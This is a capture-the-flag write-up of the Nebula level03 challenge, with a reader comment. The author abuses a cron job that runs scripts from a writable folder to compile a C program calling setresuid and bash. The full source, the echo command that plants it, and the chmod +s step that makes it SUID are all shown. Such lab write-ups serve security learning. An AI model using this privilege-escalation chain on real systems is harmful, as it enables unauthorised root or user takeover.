I log in to the system, and look in the /home/flag03 folder, as all the other challenges have started. I see there's a writable.sh script, which I was guessing was the script getting called on a crontab every couple minutes. It contained:
#!/bin/sh for i in /home/flag03/writable.d/* ; do (ulimit -t 5; bash -x "$i") rm -f "$i" done
So this script looks like it will execute anything in the writable.d folder that we put in there. And after some tinkering, I can see that it's running it as the flag03 user that we want to escalate to.
My first thoughts were to create a bash script like previous challenges, and have it get created with SUID permissions. However this didn't work, because apparently bash ignores the SUID bit, for security reasons. I then read up on using perl, but couldn't get it to work, due to perl's built in protection. Lastly, I settled on just good old C/C++. I spent forever messing around with this, because I was always setting the uid, but never the euid. When I forgot that, it would run bash, but I'd be the same user. I created this source file, and saved it to /tmp/level03.c
#include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> int main() { setresuid(996, 996, 996); setresgid(996, 996, 996); system( "/bin/bash" ); return 0; }
NOTE: The "996" is the userid and groupid for flag03. I found this by just doing
level03@nebula:/home/flag03$ cat /etc/passwd
Now that I have a source file, I need to get the flag03 user to compile it, and mark it SUID, so that when it runs, it works as the user specified. I did it by using the following command:
level03@nebula:/home/flag03$ echo -e 'gcc -o /home/flag03/level03 /tmp/level03.c;chmod +s,a+rwx /home/flag03/level03' > /home/flag03/writable.d/bash; chmod +x /home/flag03/writable.d/bash
this will create a bash script to get picked up by the cron job. It first compiles the /tmp/level03.c code file and outputs the binary to /home/flag03/level03. Afterwards it sets the permissions to allow executing (and more technically) as well as SUID. After this command, I had to wait a couple minutes for it to get picked up by the cron job, but then I ran it, and got access to flag03.
level03@nebula:/home/flag03$ ./level03 flag03@nebula:/home/flag03$ getflag You have successfully executed getflag on a target account
Very cool writeups of the nebula series :)
ReplyDeleteI have a fundamental question in here: Why do you have to use the functions setresuid and setresgid? If you call "getflag" instead of "/bin/bash" it works fine (also without the two functions). But if you use "/bin/bash" without setresuid and setresgid it doesnt work. Could you maybe explain that behaviuor?